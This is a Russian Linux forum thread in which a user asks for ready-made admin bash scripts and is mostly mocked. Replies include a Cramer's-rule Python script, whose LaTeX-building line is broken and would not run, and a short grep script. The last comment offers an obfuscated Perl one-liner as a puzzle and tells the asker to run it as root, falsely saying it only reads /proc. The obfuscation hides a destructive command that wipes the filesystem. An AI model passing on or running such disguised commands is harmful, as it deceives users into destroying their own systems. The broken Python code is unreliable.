LINUX.ORG.RU
решено ФорумAdmin

Нужны скрипты !!!


0

2

Нужны готовые bash скрипты для облегчения админинистрирования . Собственно , хочу собрать из них чет свое . Буду благодарен за любой скрипт , буду так же рад комментариям к ним , эт не обязательно но было б очень даже хорошо . Чем больше скриптом тем лучше ))



Последнее исправление: Sergey2012 (всего исправлений: 1)

Ответ на: комментарий от MikeDM

)))) Ага , поздновато уже , и собственно если есть что толковое сказать , так говорите , а то начинаете тут . Собственно хочу ссэкономить свое время что не так уж и маловажно .

Sergey2012
() автор топика
Ответ на: комментарий от anonymous

Я проверил все темы , бодобного не обнаружил .

Sergey2012
() автор топика
Ответ на: комментарий от Sergey2012

ладно так и быть покормлю тролля с ложечки - в нашем деле тупой копипастинг бывает очень опасен, особенно на критичных серверах. поэтому серьезные одмины сами пишут свои скрипты, на крайний случай что то заимствуют от других, но только тогда когда понимают что заимствуют.

а если ты не тролль а обкурившийся школоло то тебе в самый раз надо будет после отходняков почитать Advanced Bash Scripting отличное руководство по баш кодингу, там много примеров.

MikeDM ★★★★★
()
Ответ на: комментарий от MikeDM

Мда , да чего ты умничаеш , была ясно высказана просьба скинуть готовые проверенные скрипты . Собвственно я и пытаюсь хоть у кого-то их позаимствовать . Но как видно врятле это выйдет )))

Sergey2012
() автор топика
Ответ на: комментарий от Delirium_veritas

Скриптов, скриптов, нужно больше скриптов! Я понимаю, что ему нужно, но не понимаю - зачем.

strangeman ★★★★
()
Ответ на: комментарий от MikeDM

а я кажется допер... ему нужен скрипт который делает всё зае^W хорошо! :D

PS. ТС - перестань курить книги, их читать надо.

ktk ★★★★
()

Собственно моя просьба написана в самом вверху , тех кто желает поприкалыватся или показать свое задротство прошу не писать . Тех кто не хочет скидывать так не надо , держите их при себе это ваше авторское право , но извольте писать глупости это реально раздражает, ну а тех кто может и хочет - скидывайте , хотя сомневаюсь что хоть один найдется .

Sergey2012
() автор топика
Ответ на: комментарий от Sergey2012

Для тех кому непонятно чего я хочу , могу обьяснить каждое слово .

Собственно , хочу собрать из них чет свое

Это значит что я хочу сделать один скрипт в котором будут использованы ваши готовые скрипты .Как , почему , зачем , в чем смысл жизни ? не задавайте таких вопросов попросил же просто скиньте , может они пригодятся не только мне , а еще кому-то Модифицировать - то легче . В любом случае не буду тратить время на бесполезный треп и буду писать свое , а то от вас дождешся ))) Но все же спасибо , некороторые люди еще адекватны и скинули хоть что-то .

Sergey2012
() автор топика
Ответ на: комментарий от Sergey2012

Родной, скрипты пишутся под конкретные задачи. Маловероятно что тебе встретится точно такая-же. так что учи bash. И два чая strangeman

Например, я очень сомневаюсь, что тебе надо будет дергать прайсы из БД компании, где работаю я, и заливать их на хостинг.

kombrig ★★★
()
Ответ на: комментарий от ktk

кстати что-то вспомнил про Дениску с болгеносом :)

ktk ★★★★
()
Ответ на: комментарий от Sergey2012

Этот человек тебе дал лучший ответ.

Попытайся перечитать его ещё раз. И понять о чём он говорит. Если у тебя есть чем это сделать.

sin_a ★★★★★
()

а почему тебе можно писать глупости, а нам нельзя? я протестую!

Пишите , но не мне ))) Если можно покажите где туплю рас так .

А понадобится мне все это или нет эту уже другой вопрос .

Родной, скрипты пишутся под конкретные задачи

Может и есть в этом доля правды , но есть же схожые задачи и возможно мне удалось бы как-то и это применить ,маловероятно но все же. Возможно надо было конкретизировать какие именно скрипты . Нужны те которые направлены на работу с пользователями , правами доступа , назначение квот и всякое такое . Пожалуй и правда затупил и написал не в тему , не сплю пару суток ) Буду писать сам . Ведь расчитывать можно только на себя самого . ) Спасибо всем за ответы .

Sergey2012
() автор топика

Что конкретно-то нужно? Я тоже нифига не понимаю, чего ты хочешь.

Zhbert ★★★★★
()
Ответ на: комментарий от sin_a

Не понимаю, почему ТС ещё не в бане? Язапан!

И да: есть сайты где люди просто делятся bash скриптами, гугл твою-ж ты мать!

DALDON ★★★★★
()
Ответ на: комментарий от sin_a

Мне много кто ответил , уточнять нужно . Мне в отличии от других достаточно одного раза прочитать чтоб понять что нужно сделать , Возможно не совсем уточнил то что надо , ну так почему почти никто не задал наводящего вопроса ? И не надо дерзить . Можете сами прочитать если сможите это сделать и если у вас чем есть это сделать .

Sergey2012
() автор топика
< nanocat> как можно узнать из баш скрипта IP адрес?
<bender> nanocat: какой ip адрес?
<bender> $ echo $(( $RANDOM % 255 )).$(( $RANDOM % 255 )).$(( $RANDOM % 255 )).$(( $RANDOM % 255 ))
< _sh> bender: 63.236.14.141
<bender> так пойдет?
< nanocat> bender, да, спасибо, работает)
pianolender ★★★
()
Ответ на: комментарий от Sergey2012

Мне много кто ответил , уточнять нужно

Уточнять не нужно. Нужно прочесть строку:

[#] Ответ на: комментарий от

и нажать на слово «комментарий», который является ссылкой. Несколько раз, пока не будет найдено нужное сообщение, с которого пошла ветка обсуждения.

sin_a ★★★★★
()
Ответ на: комментарий от pianolender

Ух ты..!!11 Вот это я понимаю, класс.

sin_a ★★★★★
()

Вот тебе отличнейший скрипт, сам писал несколько лет назад!!!

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# a11*x1 + a12*x2 + a13*x3 = b1
# a21*x1 + a22*x2 + a23*x3 = b2
# a31*x1 + a32*x2 + a33*x3 = b3

## Excercise ##
TaskNumber = u'13'

BasicMatrix = [[-1,2,-1],       #a11 a12 a13
               [3, -1, 0],    #a21 a22 a23
               [1, 1, -1]]     #a31 a32 a33

FreeMembers = [0, 1, 0]     #b1 b2 b3

## Solution ##
# Cramer's rule

a11 = BasicMatrix[0][0]
a12 = BasicMatrix[0][1]
a13 = BasicMatrix[0][2]
a21 = BasicMatrix[1][0]
a22 = BasicMatrix[1][1]
a23 = BasicMatrix[1][2]
a31 = BasicMatrix[2][0]
a32 = BasicMatrix[2][1]
a33 = BasicMatrix[2][2]

b1 = FreeMembers[0]
b2 = FreeMembers[1]
b3 = FreeMembers[2]

d  = a11*a22*a33-a11*a23*a32-a12*a21*a33+a12*a23*a31+a13*a21*a32-a13*a22*a31
d1 = b1*a22*a33-b1*a23*a32-a12*b2*a33+a12*a23*b3+a13*b2*a32-a13*a22*b3
d2 = a11*b2*a33-a11*a23*b3-b1*a21*a33+b1*a23*a31+a13*a21*b3-a13*b2*a31
d3 = a11*a22*b3-a11*b2*a32-a12*a21*b3+a12*b2*a31+b1*a21*a32-b1*a22*a31

x1 = int(d1/d)
x2 = int(d2/d)
x3 = int(d3/d)

# Invertible matrix
MinorMatrix11 = [[a22, a23],
                 [a32, a33]]
MinorMatrix12 = [[a21, a23],
                 [a31, a33]]
MinorMatrix13 = [[a21, a22],
                 [a31, a32]]
MinorMatrix21 = [[a12, a13],
                 [a32, a33]]
MinorMatrix22 = [[a11, a13],
                 [a31, a33]]
MinorMatrix23 = [[a11, a12],
                 [a31, a32]]
MinorMatrix31 = [[a12, a13],
                 [a22, a23]]
MinorMatrix32 = [[a11, a13],
                 [a21, a23]]
MinorMatrix33 = [[a11, a12],
                 [a21, a22]]

m11 = a22*a33-a23*a32
m12 = -(a21*a33-a23*a31)
m13 = a21*a32-a22*a31
m21 = -(a12*a33-a13*a32)
m22 = a11*a33-a31*a13
m23 = -(a11*a32-a12*a31)
m31 = a12*a23-a13*a22
m32 = -(a11*a23-a21*a13)
m33 = a11*a22-a21*a12

## Recording ##

head = u'% Задание ' + TaskNumber + '\n\\item '

task = '$\\begin{cases}\n' + unicode(a11) + 'x_{1} + ' + unicode(a12) + 'x_{2}+' + unicode(a13) + 'x_{3}=' + unicode(b1) + ',\\\\\n' + \
        unicode(a21) + 'x_{1}+' + unicode(a22) + 'x_{2}+' + unicode(a23) + 'x_{3}=' + unicode(b2) + ',\\\\\n' + \
        unicode(a31) + 'x_{1}+' + unicode(a32) + 'x_{2}+' + unicode(a33) + 'x_{3}=' + unicode(b3) + '.\n\\end{cases}$\\\\\n'

delta = '$\\Delta=\\begin{vmatrix}' + unicode(a11) + ' & ' + unicode(a12) + ' & ' + unicode(a13) + '\\\\\n' + \
         unicode(a21) +' & '+ unicode(a22) +' & ' + unicode(a23) + '\\\\\n' + \
         unicode(a31) +' & '+ unicode(a32) +' & ' + unicode(a33) + '\n\\end{vmatrix}=' + unicode(d) + '$'

delta1 = '$\\Delta_{1}=\\begin{vmatrix}' + unicode(b1) + ' & ' + unicode(a12) + ' & ' + unicode(a13) + '\\\\\n' + \
         unicode(b2) +' & '+ unicode(a22) +' & ' + unicode(a23) + '\\\\\n' + \
         unicode(b3) +' & '+ unicode(a32) +' & ' + unicode(a33) + '\n\\end{vmatrix}=' + unicode(d1) + '$'

delta2 = '$\\Delta_{2}=\\begin{vmatrix}' + unicode(a11) + ' & ' + unicode(b1) + ' & ' + unicode(a13) + '\\\\\n' + \
         unicode(a21) +' & '+ unicode(b2) +' & ' + unicode(a23) + '\\\\\n' + \
         unicode(a31) +' & '+ unicode(b3) +' & ' + unicode(a33) + '\n\\end{vmatrix}=' + unicode(d2) + '$'

delta3 = '$\\Delta_{3}=\\begin{vmatrix}' + unicode(a11) + ' & ' + unicode(a12) + ' & ' + unicode(b1) + '\\\\\n' + \
         unicode(a21) +' & '+ unicode(a22) +' & ' + unicode(b2) + '\\\\\n' + \
         unicode(a31) +' & '+ unicode(a32) +' & ' + unicode(b3) + '\n\\end{vmatrix}=' + unicode(d3) + '$'
      
latex = head + task + u'\\smallskip\n\n\\textit{Решение:}\n\n         u'$.\n\n\n2) Методом Гаусса:\n\n' + \
        u'Прибавим ко 2 и 3 уравнениям первое, умноженное на $\\frac{-' + unicode(a21) + u'}{' + unicode(a11) + u'}$ и $\\frac{-' + unicode(a31) + '}{' + unicode(a11) + u'}$ соответственно:\n\n' + \
        task + task + u'Вычтем из третьего уравнения второе, умноженное на $\\frac{Q}{Q}$:\n\n' + \
        task + task + u'Таким образом,\n'+\
        '$x_{3}=' + unicode(x3) + '$, $x_{2}=' + unicode(x2) + '$, $x_{1}=' + unicode(x1) + u'$.\n\n\n Матричный метод:\\\\\n' + \
        u'Алгебраические дополнения:\\\\\n'+\
        u'$A_{11}=\\begin{vmatrix}' + unicode(a22) + ' & ' + unicode(a23) + '\\\\\n' + unicode(a32) + ' & '+ unicode(a33) + '\n' + u'\\end{vmatrix}=' + unicode(m11) + '$\\\\\n' + \
        u'$A_{12}=-\\begin{vmatrix}' + unicode(a21) +' & ' + unicode(a23) + '\\\\\n'+ unicode(a31) + ' & ' + unicode(a33) + '\n'+ u'\\end{vmatrix}=' + unicode(m12) + '$\\\\\n'+\
        u'$A_{13}=\\begin{vmatrix}' + unicode(a21) +' & ' + unicode(a22) + '\\\\\n'+ unicode(a31) + ' & ' + unicode(a32) + '\n'+ u'\\end{vmatrix}=' + unicode(m13) + '$\\\\\n'+\
        u'$A_{21}=-\\begin{vmatrix}' + unicode(a12) +' & ' + unicode(a13) + '\\\\\n'+ unicode(a32) + ' & ' + unicode(a33) + '\n'+ u'\\end{vmatrix}=' + unicode(m21) + '$\\\\\n'+\
        u'$A_{22}=\\begin{vmatrix}' + unicode(a11) +' & ' + unicode(a13) + '\\\\\n'+ unicode(a31) + ' & ' + unicode(a33) + '\n'+ u'\\end{vmatrix}=' + unicode(m22) + '$\\\\\n'+\
        u'$A_{23}=-\\begin{vmatrix}' + unicode(a11) +' & ' + unicode(a12) + '\\\\\n'+ unicode(a31) + ' & ' + unicode(a32) + '\n'+ u'\\end{vmatrix}=' + unicode(m23) + '$\\\\\n'+\
        u'$A_{31}=\\begin{vmatrix}' + unicode(a12) +' & ' + unicode(a13) + '\\\\\n'+ unicode(a22) + ' & ' + unicode(a23) + '\n'+ u'\\end{vmatrix}=' + unicode(m31) + '$\\\\\n'+\
        u'$A_{32}=-\\begin{vmatrix}' + unicode(a11) +' & ' + unicode(a13) + '\\\\\n'+ unicode(a21) + ' & ' + unicode(a23) + '\n'+ u'\\end{vmatrix}=' + unicode(m32) + '$\\\\\n'+\
        u'$A_{33}=\\begin{vmatrix}' + unicode(a11) +' & ' + unicode(a12) + '\\\\\n'+ unicode(a21) + ' & ' + unicode(a22) + '\n'+ u'\\end{vmatrix}=' + unicode(m33) + '$\\\\\n'+\
        '$A^{-1}=\\frac{1}{' + unicode(d) + '}\\begin{pmatrix}' + unicode(m11) + ' & ' + unicode(m12) + ' & ' + unicode(m13) + '\\\\\n' + \
        unicode(m21) + ' & ' + unicode(m22) + ' & ' + unicode(m23) + '\\\\\n' + \
        unicode(m31) + ' & ' + unicode(m32) + ' & ' + unicode(m33) + '\\\\\n' + '\\end{pmatrix}^{T}=\\frac{1}{' + unicode(d) + '}' + \
        '\\begin{pmatrix}' + unicode(m11) + ' & ' + unicode(m21) + ' & ' + unicode(m31) + '\\\\\n' + \
        unicode(m12) + ' & ' + unicode(m22) + ' & ' + unicode(m32) + '\\\\\n' + \
        unicode(m13) + ' & ' + unicode(m23) + ' & ' + unicode(m33) + '\\\\\n' + '\\end{pmatrix}$\\\\\n'+\
        u'$\\begin{pmatrix}x_{1}\\\\\nx_{2}\\\\\nx_{3}\n\\end{pmatrix}=\\begin{pmatrix}' + unicode(int(m11/d)) + ' & ' + unicode(int(m21/d)) + ' & ' + unicode(int(m31/d)) + '\\\\\n' + \
        unicode(int(m12/d)) + ' & ' + unicode(int(m22/d)) + ' & ' + unicode(int(m32/d)) + '\\\\\n' + \
        unicode(int(m13/d)) + ' & ' + unicode(int(m23/d)) + ' & ' + unicode(int(m33/d)) + '\n' + \
        '\\end{pmatrix}\\cdot\\begin{pmatrix}' + unicode(b1) + '\\\\\n' + unicode(b2) + '\\\\\n' + unicode(b3) + '\n' + '\\end{pmatrix}=\\begin{pmatrix}' + \
        unicode(x1) + '\\\\\n' + unicode(x2) + '\\\\\n' + unicode(x3) + '\n\\end{pmatrix}$.\n\n\n'


## Save result ##
def saveFile(fileName, fileContent):
    try:
        f = open(fileName, 'w')
    except IOError:
        print "Could not open file ", fileName
    
    f.write(fileContent)
    
    try:
        f.close()
    except IOError:
        print "Could not close file ", fileName

saveFile(TaskNumber, latex.encode("koi8-r"))

fluorite ★★★★★
()
Ответ на: комментарий от Delirium_veritas

Ок, ок, пусть будет что-то вроде такого:

#!/bin/bash
# 
# какой-нибудь ненужный текст
# авторские права (с)

[ -z "${1}" ] && { echo -e "\nUsage: $0 <path>\n" ; exit 1 ; }

[ ! -d "${1}" ] && { echo -e "\e[31m${1}: Not a directory\e[0m" ; exit 2 ; }

grep -lr '#!/bin/bash' "${1}"

:)

YAR ★★★★★
()
Ответ на: комментарий от Sergey2012

к сожалению админством не занимаюсь, а для моих целей for, $( ), grep более чем достаточно)

fijiol
()

Прикольный скрипт на Perl:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Если сможешь разбрать алгоритм - считай себя крутым кодером. Только запускать от рута надо, он инфу из /proc читает.

flareguner
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.